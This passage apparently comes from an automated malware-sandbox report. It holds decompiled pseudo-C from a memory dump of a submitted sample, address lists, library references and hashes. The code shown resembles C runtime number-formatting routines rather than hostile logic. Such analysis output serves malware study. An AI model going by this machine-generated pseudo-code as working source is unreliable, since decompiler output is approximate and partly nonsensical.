										__eax = E00B855B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E00B85630( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x00b95704
0x00b95704
0x00b95704
0x00b95704
0x00b9570b
0x00b9570b
0x00b9570b
0x00b95721
0x00b95721
0x00b95721
0x00b9572b
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00b9576a
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00b95848
0x00b95848
0x00b9584f
0x00000000
0x00000000
0x00b95851
0x00b95851
0x00b9585c
0x00b95862
0x00b95864
0x00b9586a
0x00b9586d
0x00b9586f
0x00b95875
0x00b9587e
0x00b95883
0x00b958a0
0x00b958a3
0x00b958a3
0x00b958a8
0x00b958ad
0x00b958ad
0x00b958b3
0x00b958b5
0x00b958bb
0x00b958c1
0x00b958c1
0x00b958ca
0x00b958ca
0x00b958b3
0x00b958d0
0x00b958d4
0x00b958e2
0x00b958e5
0x00b958e8
0x00b958ef
0x00b958f1
0x00b958f1
0x00b958d6
0x00b958d6
0x00b958d6
0x00b958fe
0x00b958fe
0x00b95904
0x00b95906
0x00b95906
0x00b9590d
0x00b95910
0x00b95913
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00b95923
0x00b95929
0x00b95929
0x00b9592f
0x00b959ac
0x00b959af
0x00b959b2
0x00b959b5
0x00b959b8
0x00b959bb
0x00b959c1
0x00b959c1
0x00b959c7
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00b959fc
0x00b959ff
0x00b959ff
0x00b95a02
0x00b95a07
0x00b95a07
0x00b95a0c
0x00b95a1e
0x00b95a1e
0x00b95a21
0x00b95a33
0x00b95a33
0x00b95a36
0x00b95a38
0x00b95a3c
0x00b95a3c
0x00b95a23
0x00b95a23
0x00b95a27
0x00b95a27
0x00b95a0e
0x00b95a0e
0x00b95a12
0x00b95a12
0x00b95a0c
0x00b95a46
0x00b95a49
0x00b95a4c
0x00b95a55
0x00b95a55
0x00b95a58
0x00b95a5a
0x00b95a61
0x00b95a65
0x00b95a6e
0x00b95a73
0x00b95a76
0x00b95a7d
0x00b95a81
0x00b95a85
0x00b95a91
0x00b95a94
0x00b95a94
0x00b95a97
0x00b95a9c
0x00b95a9c
0x00b95a9f
0x00b95aa1
0x00b95aa8
0x00b95aac
0x00b95ab5
0x00b95aba
0x00b95a9f
0x00b95abd
0x00b95ac1
0x00b95b95
0x00b95b95
0x00b95b9c
0x00b95ba0
0x00b95ba4
0x00b95ba8
0x00000000
0x00b95ac7
0x00b95ac7
0x00b95ac7
0x00b95acb
0x00000000
0x00000000
0x00b95ad1
0x00b95ad1
0x00b95adb
0x00b95ade
0x00b95ae4
0x00b95ae7
0x00b95aed
0x00b95aed
0x00b95aed
0x00b95af9
0x00b95afc
0x00b95b02
0x00b95b04
0x00000000
0x00000000
0x00b95b0a
0x00b95b0a
0x00b95b13
0x00b95b1a
0x00b95b24
0x00b95b2b
0x00b95b3a
0x00b95b46
0x00b95b49
0x00b95b4f
0x00b95b56
0x00b95b61
0x00b95b61
0x00000000
0x00b95b61
0x00b95b58
0x00b95b58
0x00b95b5f
0x00b95b6d
0x00b95b6d
0x00b95b74
0x00b95b78
0x00b95b86
0x00000000
0x00b95b8b
0x00000000
0x00b95b5f
0x00b95b93
0x00b95bb0
0x00b95bb0
0x00b95bb7
0x00b95bbc
0x00b95bbc
0x00b95bbf
0x00b95bc1
0x00b95bc8
0x00b95bcc
0x00b95bd5
0x00b95bda
0x00b95bbf
0x00b95bb7
0x00b95bdd
0x00b95bdd
0x00b95be1
0x00b95be9
0x00b95bf1
0x00b95bf1
0x00b95bf8
0x00b95bf8
0x00b94ccf
0x00b94cd5
0x00b94ce2
0x00b94ce7
0x00000000
0x00b94cfa
0x00b94d04
0x00b94d2b
0x00b94d12
0x00b94d23
0x00b94d23
0x00b94d04
0x00b94d35
0x00b94d3b
0x00b94d47
0x00b94d4a
0x00b94d58
0x00b94d5b
0x00b94d68
0x00b94e0d
0x00b94e13
0x00b94e19
0x00b94e20
0x00000000
0x00000000
0x00b94e26
0x00b94e2c
0x00000000
0x00b94e33
0x00b94e33
0x00b94e4b
0x00b94e50
0x00b94e53
0x00b94e55
0x00b94f0f
0x00b94f22
0x00b94f27
0x00000000
0x00b94e5b
0x00b94e6e
0x00b94e73
0x00b94e79
0x00b94e7b
0x00b94e84
0x00b94e84
0x00b94e87
0x00b94e93
0x00b94e97
0x00b94e9d
0x00b94e9f
0x00b94ea4
0x00b94ea6
0x00b94eab
0x00b94eb0
0x00b94eb2
0x00b94eb7
0x00b94eba
0x00b94ebd
0x00b94ebf
0x00b94ebf
0x00b94ebd
0x00b94ec0
0x00b94ec0
0x00b94ec7
0x00000000
0x00b94ec9
0x00b94ece
0x00b94eea
0x00b94ef2
0x00b94eff
0x00b94f04
0x00000000
0x00b94f04
0x00b94ec7
0x00000000
0x00b94f2f
0x00b94f2f
0x00b94f36
0x00b94f39
0x00b94f3c
0x00b94f3f
0x00b94f42
0x00b94f45
0x00b94f48
0x00b94f4f
0x00b94f56
0x00000000
0x00000000
0x00b94f62
0x00b94f62
0x00b94f69
0x00b94f75
0x00b94f78
0x00b94f7e
0x00b94f85
0x00000000
0x00000000
0x00b94f87
0x00b94f87
0x00b94f8d
0x00b94f8d
0x00b94f94
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b94fd7
0x00b94fd7
0x00b94fde
0x00b94fe1
0x00b9500b
0x00b9500e
0x00b9500e
0x00b95011
0x00b95018
0x00b95018
0x00b9501c
0x00b94fe3
0x00b94fe3
0x00b94fef
0x00b94ff2
0x00b94ff6
0x00b94ff8
0x00b94ffb
0x00b94ffb
0x00b94ffe
0x00b95004
0x00b95006
0x00b95006
0x00b95009
0x00000000
0x00000000
0x00b95024
0x00b95024
0x00000000
0x00000000
0x00b95030
0x00b95030
0x00b95037
0x00b9503a
0x00b9505a
0x00b9505d
0x00b9505d
0x00b95067
0x00b95067
0x00b9506b
0x00b9503c
0x00b9503c
0x00b95048
0x00b9504b
0x00b9504f
0x00b95051
0x00b95051
0x00b95058
0x00000000
0x00000000
0x00b95073
0x00b95073
0x00b9507a
0x00b95086
0x00b95089
0x00b9508f
0x00b95096
0x00b951a9
0x00000000
0x00b951a9
0x00b9509c
0x00b9509c
0x00b950a2
0x00b950a2
0x00b950a9
0x00000000
0x00b950df
0x00b950df
0x00b950e2
0x00b950e5
0x00b950e8
0x00b95110
0x00b95110
0x00b95113
0x00b95116
0x00b95119
0x00b9513e
0x00b9513e
0x00b95141
0x00b95144
0x00b95147
0x00b95180
0x00b95191
0x00000000
0x00b95191
0x00b95149
0x00b95149
0x00b9514c
0x00b9514f
0x00b95152
0x00000000
0x00000000
0x00b95154
0x00b95154
0x00b95157
0x00b9515a
0x00b9515d
0x00000000
0x00000000
0x00b9515f
0x00b9515f
0x00b95162
0x00b95165
0x00b95168
0x00000000
0x00000000
0x00b9516a
0x00b9516a
0x00b9516d
0x00b95170
0x00b95173
0x00000000
0x00000000
0x00b95175
0x00b95175
0x00b95178
0x00b9517b
0x00b9517e
0x00b95182
0x00000000
0x00b95182
0x00000000
0x00b9517e
0x00b9511b
0x00b9511b
0x00b9511e
0x00b95122
0x00b95125
0x00000000
0x00b95127
0x00b9512a
0x00b9512d
0x00b95130
0x00b95133
0x00b95139
0x00000000
0x00b95139
0x00b95125
0x00b950ea
0x00b950ea
0x00b950ed
0x00b950f1
0x00b950f4
0x00000000
0x00b950f6
0x00b950f9
0x00b950fc
0x00b950ff
0x00b95102
0x00b95108
0x00000000
0x00b95108
0x00000000
0x00b95193
0x00b95196
0x00b95199
0x00000000
0x00000000
0x00b950b0
0x00b950b0
0x00b950b3
0x00b950b6
0x00b950b9
0x00b950d1
0x00b950d4
0x00b950d4
0x00b950d7
0x00b950bb
0x00b950be
0x00b950c1
0x00b950c7
0x00b950cc
0x00b950cc
0x00000000
0x00000000
0x00b9519e
0x00b9519e
0x00b951a1
0x00b951a1
0x00b951a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b951ae
0x00b951ae
0x00b951b5
0x00b951c1
0x00b951c4
0x00b951ca
0x00b951d1
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b951d7
0x00b951dd
0x00b951dd
0x00b951e4
0x00000000
0x00b9553e
0x00b9553e
0x00b95545
0x00b9554c
0x00b9554c
0x00b9554f
0x00000000
0x00000000
0x00b951eb
0x00b951ee
0x00b951ee
0x00b951f4
0x00b951f6
0x00b951f9
0x00b951f9
0x00b951fe
0x00b951fe
0x00000000
0x00000000
0x00b9532b
0x00b9532e
0x00b9532e
0x00b95333
0x00b95335
0x00b95338
0x00b95338
0x00b9533e
0x00b9533e
0x00000000
0x00000000
0x00b9570b
0x00b9570b
0x00000000
0x00000000
0x00b95295
0x00b95295
0x00b952a1
0x00b952a7
0x00b952ae
0x00b952bc
0x00b952bc
0x00b952c2
0x00b952c5
0x00b952d1
0x00b95326
0x00000000
0x00b95326
0x00b952b0
0x00b952b0
0x00b952b6
0x00b952ba
0x00b952d6
0x00b952d9
0x00b952d9
0x00b952df
0x00b95307
0x00b9530e
0x00b95314
0x00b95317
0x00b9531a
0x00b95320
0x00b95323
0x00b952e1
0x00b952e1
0x00b952e7
0x00b952ea
0x00b952ed
0x00b952f3
0x00b952f6
0x00b952f9
0x00b952fb
0x00b952fe
0x00b952fe
0x00000000
0x00b952df
0x00000000
0x00000000
0x00b95555
0x00b95558
0x00b9555b
0x00b9555e
0x00b95564
0x00b95567
0x00b9556e
0x00b95572
0x00b9557d
0x00b9557d
0x00b95581
0x00b95598
0x00b95598
0x00b9559f
0x00b955a1
0x00b955a1
0x00b955a8
0x00b955a8
0x00b955af
0x00b955c0
0x00b955cf
0x00b955d2
0x00b955d6
0x00b955ec
0x00b955d8
0x00b955d8
0x00b955db
0x00b955e1
0x00b955e7
0x00b955e7
0x00b955d6
0x00b955f6
0x00b955f9
0x00b955fc
0x00b955ff
0x00b95602
0x00b95605
0x00b9560b
0x00b95611
0x00b95619
0x00b9561a
0x00b9561d
0x00b9561e
0x00b95621
0x00b95622
0x00b95629
0x00b9562a
0x00b9562d
0x00b9562e
0x00b95631
0x00b95632
0x00b95638
0x00b95639
0x00b95647
0x00b95649
0x00b9564f
0x00b9564f
0x00b95655
0x00b95657
0x00b9565b
0x00b9565d
0x00b95665
0x00b95666
0x00b95669
0x00b9566a
0x00b95678
0x00b9567a
0x00b9567a
0x00b9565b
0x00b9567d
0x00b95684
0x00b95687
0x00b9568c
0x00b9568c
0x00b95692
0x00b95694
0x00b9569c
0x00b9569d
0x00b956a0
0x00b956a1
0x00b956b0
0x00b956b2
0x00b956b2
0x00b95692
0x00b956b5
0x00b956b8
0x00b956bb
0x00b956be
0x00b956c3
0x00b956c9
0x00b956cc
0x00b956cf
0x00b956cf
0x00b956d2
0x00b956d2
0x00b956d5
0x00b956e1
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00b959f2
0x00b95583
0x00b95583
0x00b9558a
0x00b9558d
0x00000000
0x00000000
0x00b9558f
0x00b9558f
0x00000000
0x00b9558f
0x00b95574
0x00b95574
0x00000000
0x00000000
0x00b95201
0x00b95204
0x00b95204
0x00b9520a
0x00b95265
0x00b9526d
0x00b95274
0x00b9527a
0x00b95280
0x00b9520c
0x00b9520c
0x00b95216
0x00b9521a
0x00b95222
0x00b95229
0x00b95236
0x00b9523d
0x00b95249
0x00b9524f
0x00b95256
0x00b95258
0x00b95258
0x00b9525f
0x00b95287
0x00b9528d
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00b956e9
0x00b956ec
0x00b956ef
0x00b956f2
0x00000000
0x00000000
0x00b95447
0x00b95447
0x00b95453
0x00b95459
0x00b9545e
0x00b95460
0x00b9550a
0x00b9550d
0x00b9550d
0x00b95510
0x00b95524
0x00b9552a
0x00b95530
0x00b95512
0x00b95512
0x00b9551f
0x00b9551f
0x00b95532
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00b95466
0x00b95466
0x00b95466
0x00b95468
0x00b95476
0x00b9546a
0x00b9546a
0x00b9546a
0x00b95480
0x00b95486
0x00b9548c
0x00b95493
0x00b95495
0x00b9549a
0x00b9549c
0x00b954a1
0x00b954a6
0x00b954a8
0x00b954ad
0x00b954b0
0x00b954b3
0x00b954b5
0x00b954b5
0x00b954b3
0x00b954b6
0x00b954bd
0x00b95505
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b954bf
0x00b954bf
0x00b954c4
0x00b954e0
0x00b954e8
0x00b954f2
0x00b954f5
0x00b954fa
0x00000000
0x00b954fa
0x00000000
0x00b9574c
0x00b9574c
0x00b95756
0x00b95756
0x00b9575c
0x00b9575e
0x00b95761
0x00b95761
0x00b95767
0x00b95767
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b95341
0x00b95341
0x00b95345
0x00b95353
0x00b95356
0x00b95347
0x00b95347
0x00b95347
0x00b9535c
0x00b95362
0x00b95368
0x00b95374
0x00b9537a
0x00b9537a
0x00b95380
0x00b953e7
0x00b953e7
0x00b953eb
0x00b953ed
0x00b953f3
0x00b953f3
0x00b953f6
0x00b953f9
0x00b953ff
0x00b953ff
0x00b953ff
0x00b9540b
0x00b9540e
0x00b95414
0x00b95416
0x00000000
0x00000000
0x00b95418
0x00b95418
0x00b9541e
0x00b95421
0x00b95423
0x00000000
0x00000000
0x00b95425
0x00b9542b
0x00b9542e
0x00b9542e
0x00b95436
0x00b95436
0x00b9543c
0x00b9543c
0x00b9543f
0x00000000
0x00b95382
0x00b95382
0x00b95382
0x00b95386
0x00b95388
0x00b9538d
0x00b9538d
0x00b95390
0x00b95397
0x00b9539a
0x00b953a0
0x00b953a0
0x00b953a0
0x00b953ac
0x00b953af
0x00b953b5
0x00b953b7
0x00000000
0x00000000
0x00b953b9
0x00b953b9
0x00b953bf
0x00b953c2
0x00b953c4
0x00000000
0x00000000
0x00b953c6
0x00b953cc
0x00b953cf
0x00b953cf
0x00b953d7
0x00b953dd
0x00b953e0
0x00b953e2
0x00b95442
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00b959f2
0x00000000
0x00b956fb
0x00b956fb
0x00b9576a
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95846
0x00000000
0x00b95717
0x00b95717
0x00b95721
0x00b95721
0x00b9572b
0x00b9572b
0x00b95731
0x00b95733
0x00b9573d
0x00b9573d
0x00b95740
0x00b95743
0x00b95743
0x00b9576a
0x00b9576a
0x00b9576d
0x00b9576d
0x00b95772
0x00b95794
0x00b95794
0x00b9579a
0x00b957bc
0x00b957bc
0x00b957bf
0x00b95806
0x00b95806
0x00b95809
0x00b95826
0x00b9582a
0x00b95832
0x00b95832
0x00b95834
0x00b9583a
0x00b9580b
0x00b9580b
0x00b9580f
0x00b95817
0x00b95818
0x00b9581e
0x00b9581e
0x00b957c1
0x00b957c4
0x00b957c4
0x00b957c7
0x00b957e5
0x00b957f1
0x00b957f4
0x00b957f5
0x00b957fb
0x00b957c9
0x00b957c9
0x00b957cd
0x00b957d5
0x00b957d6
0x00b957d7
0x00b957dd
0x00b957dd
0x00b95801
0x00b9579c
0x00b9579c
0x00b957a8
0x00b957ae
0x00b957ae
0x00b95774
0x00b95774
0x00b95780
0x00b95786
0x00b95786
0x00b95843
0x00b95843
0x00b95846
0x00000000
0x00000000
0x00000000
0x00b95846
0x00000000
0x00b959f2
0x00b959f2
0x00b959f2
0x00b959f6
0x00000000
0x00000000
0x00000000
0x00b959f6
0x00000000
0x00000000
0x00b94fb1
0x00b94fb4
0x00b94fb7
0x00000000
0x00000000
0x00b94fbc
0x00b94fbf
0x00b94fc4
0x00000000
0x00000000
0x00b94fa6
0x00b94fa6
0x00b94fa9
0x00b94fac
0x00000000
0x00000000
0x00b94f9b
0x00b94f9e
0x00b94fa1
0x00000000
0x00000000
0x00b94fc9
0x00b94fc9
0x00b94fcc
0x00b94fcc
0x00b94fcf
0x00000000
0x00000000
0x00b94fd2
0x00000000
0x00000000
0x00b94d6e
0x00b94d70
0x00b94d7e
0x00b94d72
0x00b94d72
0x00b94d72
0x00b94d88
0x00b94d8e
0x00b94d9b
0x00b94d9d
0x00b94da2
0x00b94da4
0x00b94da9
0x00b94dae
0x00b94db0
0x00b94db5
0x00b94dbb
0x00b94dbd
0x00b94dbd
0x00b94dbb
0x00b94dbe
0x00b94dc5
0x00000000
0x00b94dc7
0x00b94dcc
0x00b94de8
0x00b94df0
0x00b94dfd
0x00b94e02
0x00b95cc1
0x00b95cce
0x00b95cce
0x00b94dc5
0x00b94d68
0x00b95bfd
0x00b95bfd
0x00b95c04
0x00b95c1b
0x00b95c1b
0x00b95c25
0x00b95c25
0x00b95c2b
0x00b95c31
0x00b95c38
0x00b95c3a
0x00b95c3f
0x00b95c41
0x00b95c46
0x00b95c4b
0x00b95c4d
0x00b95c52
0x00b95c55
0x00b95c58
0x00b95c5a
0x00b95c5a
0x00b95c58
0x00b95c5b
0x00b95c62
0x00b95cad
0x00b95cb6
0x00b95cbb
0x00b95c64
0x00b95c69
0x00b95c85
0x00b95c8d
0x00b95c9a
0x00b95c9f
0x00b95c9f
0x00000000
0x00b95c62
0x00b95c06
0x00b95c06
0x00b95c0d
0x00000000
0x00000000
0x00b95c0f
0x00b95c0f
0x00000000
0x00b95c0f
0x00b959f2
0x00b959c9
0x00b959c9
0x00b959cd
0x00b959da
0x00b959dd
0x00b959e0
0x00b959e3
0x00b959e6
0x00b959e9
0x00b959ec
0x00b959ec
0x00b959ef
0x00000000
0x00b959ef
0x00b959cf
0x00b959cf
0x00b959d2
0x00b959d5
0x00b959d8
0x00000000
0x00000000
0x00000000
0x00b959d8
0x00b95931
0x00b95931
0x00b95934
0x00b95937
0x00b9593e
0x00b95945
0x00b9594d
0x00b95953
0x00b95956
0x00b95959
0x00b95960
0x00b9596c
0x00b95972
0x00b95978
0x00b9597f
0x00b95981
0x00b95987
0x00b95987
0x00b9598d
0x00b9598d
0x00b95993
0x00b95996
0x00b9599c
0x00b959a1
0x00b959a4
0x00b95913
0x00b95913
0x00b95919
0x00b9591c
0x00b9591f
0x00b95921
0x00000000
0x00000000
0x00000000
0x00b95921
0x00b95913
0x00b95853
0x00b95853
0x00b9585a
0x00000000
0x00000000
0x00000000
0x00b95888
0x00b95888
0x00b9588e
0x00b95894
0x00b9589a
0x00000000
0x00b9589a
0x00b9576a
0x00b95721
0x00b9570b

APIs

_get_int64_arg.LIBCMTD ref: 00B95778
__aullrem.LIBCMT ref: 00B95945
__aulldiv.LIBCMT ref: 00B95967

Strings

9, xrefs: 00B95978
0, xrefs: 00B95733

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: f503401755c3559ac62cc389b969ad768a44c11740484738e901184bab88d6a9
Instruction ID: 59b5eaea876d60bd6c0f2c68735cdb81249a753aeb1921e6827ba3234d328f52
Opcode Fuzzy Hash: f503401755c3559ac62cc389b969ad768a44c11740484738e901184bab88d6a9
Instruction Fuzzy Hash: 9641CDB1D15A28DFEF26CF98C889BAEB7B5FB44300F2485E9D449A7240D7349A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B96A89 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00B96A89() {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00B93D50(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00B93D50(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00B93D50(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
